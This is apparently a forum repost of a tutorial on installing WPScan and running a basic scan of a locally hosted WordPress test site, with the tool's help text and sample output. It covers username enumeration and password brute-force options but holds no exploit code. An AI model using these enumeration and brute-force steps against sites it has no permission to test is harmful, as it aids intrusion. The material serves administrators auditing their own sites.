Arseny Levin and Moshe Basanchig for their assistance with analyzing this threat. Sursa: Internet Explorer - 2012 Last Minute 0-Day - SpiderLabs Anterior
-
Scan a wordpress website with Wpscan – Part 1 : Basic Scan In this tutorial we will demonstrate how to use Wpscan, a vulnerability scanner, in order to perform a basic scan to our wordpress website for known vulnerabilities. First, lets take a look at what is Wpscan. WPScan is a black box WordPress Security Scanner written in Ruby which attempts to find known security weaknesses within WordPress installations. Its intended use it to be for security professionals or WordPress administrators to asses the security posture of their WordPress installations. The code base is Open Source and licensed under the GPLv3. Features include: Username enumeration (from ?author) Weak password cracking (multithreaded) Version enumeration (from generator meta tag) Vulnerability enumeration (based on version) Plugin enumeration (todo) Plugin vulnerability enumeration (based on version) (todo) Other miscellaneous checks Installation WPScan comes pre-installed on the following Linux distributions: BackBox Linux BackTrack Linux (outdated WPScan installed, update needed) Pentoo SamuraiWTF Note: In this tutorial I will be using Backbox 3.0 However, you can install it on Debian/Ubuntu, Fedora and Mac OSX Prerequisites: Windows not supported Ruby => 1.9 RubyGems Git Installing on Debian/Ubuntu: sudo apt-get install libcurl4-gnutls-dev libopenssl-ruby libxml2 libxml2-dev libxslt1-dev git clone https://github.com/wpscanteam/wpscan.git cd wpscan sudo gem install bundler && bundle install --without test development Installing on Fedora sudo yum install libcurl-devel git clone https://github.com/wpscanteam/wpscan.git cd wpscan sudo gem install bundler && bundle install --without test development Installing on Mac OSX: git clone [URL]https://github.com/wpscanteam/wpscan.git[/URL] cd wpscan sudo gem install bundler && bundle install --without test development If you face any short of problems and for more information and about installing and known issues visit project’s page Wpscan by wpscanteam Preparation For demonstration purposes I have created a wordpress website, which is hosted locally, to my apache server. The name of the website is: wp_site and it’s url is: http://localhost/wp_site. You have to replace it with either a url of an existing website, i.e. http://www.your-web-site.com or with the path of your localhost. By this point you should have Wpscan installed and your target website up’ n’ running. Studying Time Let’s take a look at the help page in order to get familiar with the arguments : Some values are settable in conf/browser.conf.json : user-agent, proxy, threads, cache timeout and request timeout --update Update to the latest revision --url | -u <target url> The WordPress URL/domain to scan. --force | -f Forces WPScan to not check if the remote site is running WordPress. --enumerate | -e [option(s)] Enumeration. option : u usernames from id 1 to 10 u[10-20] usernames from id 10 to 20 (you must write [] chars) p plugins p! only vulnerable plugins t timthumbs T themes T! only vulnerable themes Multiple values are allowed : '-e tp' will enumerate timthumbs and plugins If no option is supplied, the default is 'tup!' --config-file | -c <config file> Use the specified config file --follow-redirection If the target url has a redirection, it will be followed without asking if you wanted to do so or not --wp-content-dir <wp content dir> WPScan try to find the content directory (ie wp-content) by scanning the index page, however you can specified it. Subdirectories are allowed --wp-plugins-dir <wp plugins dir> Same thing than --wp-content-dir but for the plugins directory. If not supplied, WPScan will use wp-content-dir/plugins. Subdirectories are allowed --proxy Supply a proxy in the format host:port or protocol://host:port (will override the one from conf/browser.conf.json). HTTP, SOCKS4 SOCKS4A and SOCKS5 are supported. If no protocol is given (format host:port), HTTP will be used --wordlist | -w <wordlist> Supply a wordlist for the password bruter and do the brute. --threads | -t <number of threads> The number of threads to use when multi-threading requests. (will override the value from conf/browser.conf.json) --username | -U <username> Only brute force the supplied username. --help | -h This help screen. --verbose | -v Verbose output.Hands-on time Open a terminal and navigate to the folder, where Wpscan is installed. In my case it is in : /opt/backbox/wpscan Wpscan offers a variety of features, we will start by doing a simple non-intrusive scan. In terminal type: ruby wpscan.rb --url localhost/wp_site Output: [+] The WordPress theme in use is catch-box v1.6.2 [!] The WordPress 'http://localhost/wp_site/readme.html' file exists [+] WordPress version 3.5 identified from meta generator With this scan, we gathered information about the theme that is in use, the existence of readme.html and the version of installed wordpress. Now, we will perform a scan at website, asking WPscan to use all enumerated tools. That could be information about themes, plugins, usernames etc. In terminal type: ruby wpscan.rb --url localhost/wp_site --enumerate Output: BUSTED! Among other information, such as theme, installed plugins and wordpress version, we gathered 2 interesting clues: A known vulnerability! It is highlighted with red text, and the program provides a url of the exploit. Usernames of the website’s users. Wpscan Vulnerability Scanner is a powerfull tool with great features. However, the purpose of this tutorial is to demonstrate how to perform a *basic* scan. Thus, we will not show further scans. In Part 2 we will see how we can take advantage of the information we gathered performing a scan to a target wordpress website. Stay tuned! Sursa: [tutorial] Scan a wordpress website with Wpscan – Part 1 : Basic Scan | antonis manaras